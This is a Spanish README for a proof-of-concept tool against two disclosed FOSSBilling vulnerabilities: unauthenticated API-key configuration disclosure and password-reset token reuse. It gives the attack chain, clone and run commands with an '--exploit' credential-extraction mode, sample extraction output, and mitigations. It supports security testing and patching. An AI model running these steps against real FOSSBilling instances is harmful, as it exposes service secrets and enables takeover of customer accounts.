
FOSSBilling CVE-2026-53647 y CVE-2026-53646 PoC — Divulgación de clave de API no autenticada y reutilización de token de restablecimiento de contraseña
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
hecho por 7megaumka7
Herramienta PoC para dos vulnerabilidades aceptadas de GitHub Security Advisory en FOSSBilling ≤ 0.7.2
FOSKiller es una herramienta de prueba de concepto que demuestra dos vulnerabilidades de seguridad en FOSSBilling — una plataforma de facturación y gestión de clientes de código abierto. Ambas vulnerabilidades fueron divulgadas de manera responsable a través del programa GitHub Security Advisory y están completamente corregidas en FOSSBilling 0.7.3+.
La herramienta está destinada a:
El endpoint de invitado /api/guest/serviceapikey/get_info devuelve la configuración completa del servicio — incluyendo campos custom_*, credenciales de API, nombres de host y contraseñas — sin requerir autenticación. Un atacante que conozca o enumere una clave de API válida puede recuperar la configuración completa del servicio backend desde un endpoint público.
Impacto: Exposición de credenciales de servicio, nombres de host internos, secretos de API.
Cuando un cliente activa dos restablecimientos de contraseña consecutivos para la misma cuenta, la aplicación emite un nuevo token pero no invalida el anterior. Un atacante que haya capturado previamente el primer token puede usarlo para establecer una nueva contraseña incluso después de que el usuario legítimo complete su propio flujo de restablecimiento.
Cadena de ataque:
1. El atacante activa POST /api/guest/client/reset_password → captura el token T1
2. La víctima activa su propio restablecimiento → la aplicación emite T2, T1 sigue siendo válido
3. El atacante llama a POST /api/guest/client/update_password?hash=T1 con la contraseña elegida
4. El atacante tiene acceso persistente independientemente de que la víctima complete el restablecimiento
Impacto: Toma de control persistente de cualquier cliente cuyo correo de restablecimiento pueda ser interceptado.
Si faltan dependencias, el script lo detecta al iniciar y ofrece instalarlas automáticamente.
Clonar e instalar dependencias:
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
O ejecutar sin preinstalar — el script solicitará instalar los paquetes faltantes la primera vez que se ejecute.
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
--check-only y --exploit son mutuamente excluyentes.
Solo detección — verificar ambos CVEs sin extraer datos:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
Extracción completa y documentación de la cadena de ataque:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
Guardar resultados en JSON y enrutar a través de Burp Suite:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
Probar una versión desconocida o ya parcheada:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] Probando https://billing.example.com …
[+] Versión detectada: 0.7.1
[+] Rango afectado CVE-2026-53647 (>=0.5.3 <=0.7.2): SÍ
[+] Rango afectado CVE-2026-53646 (>=0.5.6 <=0.7.2): SÍ
── CVE-2026-53647 │ Divulgación de configuración de clave de API no autenticada ─────────
[*] Objetivo : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] Modo : Extracción completa
[*] HTTP : 200
[+] VULNERABLE — el endpoint devolvió 4 campo(s) sensible(s) sin autenticación
Campo Valor
──────────────────────────────────────────────────────────────────────
custom_hostname db.internal.example.com
custom_username fossbilling_db
custom_password [REDACTED IN THIS EXAMPLE]
custom_api_secret [REDACTED IN THIS EXAMPLE]
── CVE-2026-53646 │ Reutilización de token de restablecimiento de contraseña / Toma de control de cuenta ─────
[*] Enviando solicitud de restablecimiento #1 …
[*] HTTP 200 | 142 ms | 2026-06-12T10:00:00.000Z
[*] Enviando solicitud de restablecimiento #2 (mismo correo) …
[*] HTTP 200 | 138 ms | 2026-06-12T10:00:01.000Z
[*] Delta de tiempo entre solicitudes : 0.643s
[!] Ambas solicitudes de restablecimiento tuvieron éxito — el endpoint acepta restablecimientos repetidos sin limitación de velocidad.
── Resumen ─────────────────────────────────────────────────────────────
CVE GHSA Severidad Estado
──────────────────────────────────────────────────────────────────────────────────
CVE-2026-53647 GHSA-737q-9gpr-6mpq Moderada (CVSS 6.9) VULNERABLE
CVE-2026-53646 GHSA-vp66-w6rc-x32p Alta (CVSS 7.7) POTENCIALMENTE_VULNERABLE
Actualizar a FOSSBilling >= 0.7.3, que corrige ambas vulnerabilidades.
Si no es posible aplicar el parche de inmediato:
| CVE | Mitigación provisional |
|---|---|
| CVE-2026-53647 | Bloquear el acceso a /api/guest/serviceapikey/ a nivel de servidor web o WAF |
| CVE-2026-53646 | Implementar invalidación de token al reemisión; agregar limitación de velocidad al endpoint de restablecimiento |
Ambas vulnerabilidades fueron reportadas a los mantenedores de FOSSBilling a través del programa GitHub Security Advisory antes de esta publicación.
Esta herramienta se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.
Utilice esta herramienta solo contra sistemas que posea o para los que haya recibido permiso explícito por escrito para realizar pruebas. El uso no autorizado contra sistemas de terceros es ilegal según la Computer Fraud and Abuse Act (CFAA), la Computer Misuse Act y la legislación equivalente en todo el mundo.
El autor no asume ninguna responsabilidad por el uso indebido, daños o consecuencias legales derivadas del uso de esta herramienta. Al utilizar esta herramienta, acepta que es el único responsable de sus acciones.
Investigador y Autor: 7megaumka7
Descubrimiento de vulnerabilidades, análisis, divulgación responsable y desarrollo de herramientas.
| Advisory | CVE | Tipo | CVSS | Afectado |
|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | Divulgación de configuración de clave de API no autenticada | 6.9 Moderada | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | Reutilización de token de restablecimiento de contraseña → Toma de control de cuenta | 7.7 Alta | >= 0.5.6, <= 0.7.2 |
| Banderas | Requerido | Descripción |
|---|
--target URL | Sí | URL base de la instancia de FOSSBilling |
--key KEY | Para CVE-2026-53647 | Clave de API para probar |
--email EMAIL | Para CVE-2026-53646 | Correo electrónico del cliente para probar |
--check-only | No | Modo de detección — confirmar vulnerabilidad sin extraer datos |
--exploit | No | Extracción completa + documentación de la cadena de ataque |
--force | No | Omitir la verificación del rango de versiones |
--output FILE | No | Guardar resultados completos en un archivo JSON |
--timeout SEC | No | Tiempo de espera HTTP en segundos (predeterminado: 10) |
--proxy URL | No | Proxy HTTP (ej. http://127.0.0.1:8080) |
| Modo | Banderas | Qué hace |
|---|
| Detección | --check-only | Confirma que la vulnerabilidad existe. No muestra ni extrae valores sensibles. |
| Predeterminado | (ninguna bandera de modo) | Confirma el estado y muestra evidencia básica. |
| Explotación | --exploit | Extrae todos los campos filtrados; documenta la cadena completa de toma de control con metadatos de tiempo. |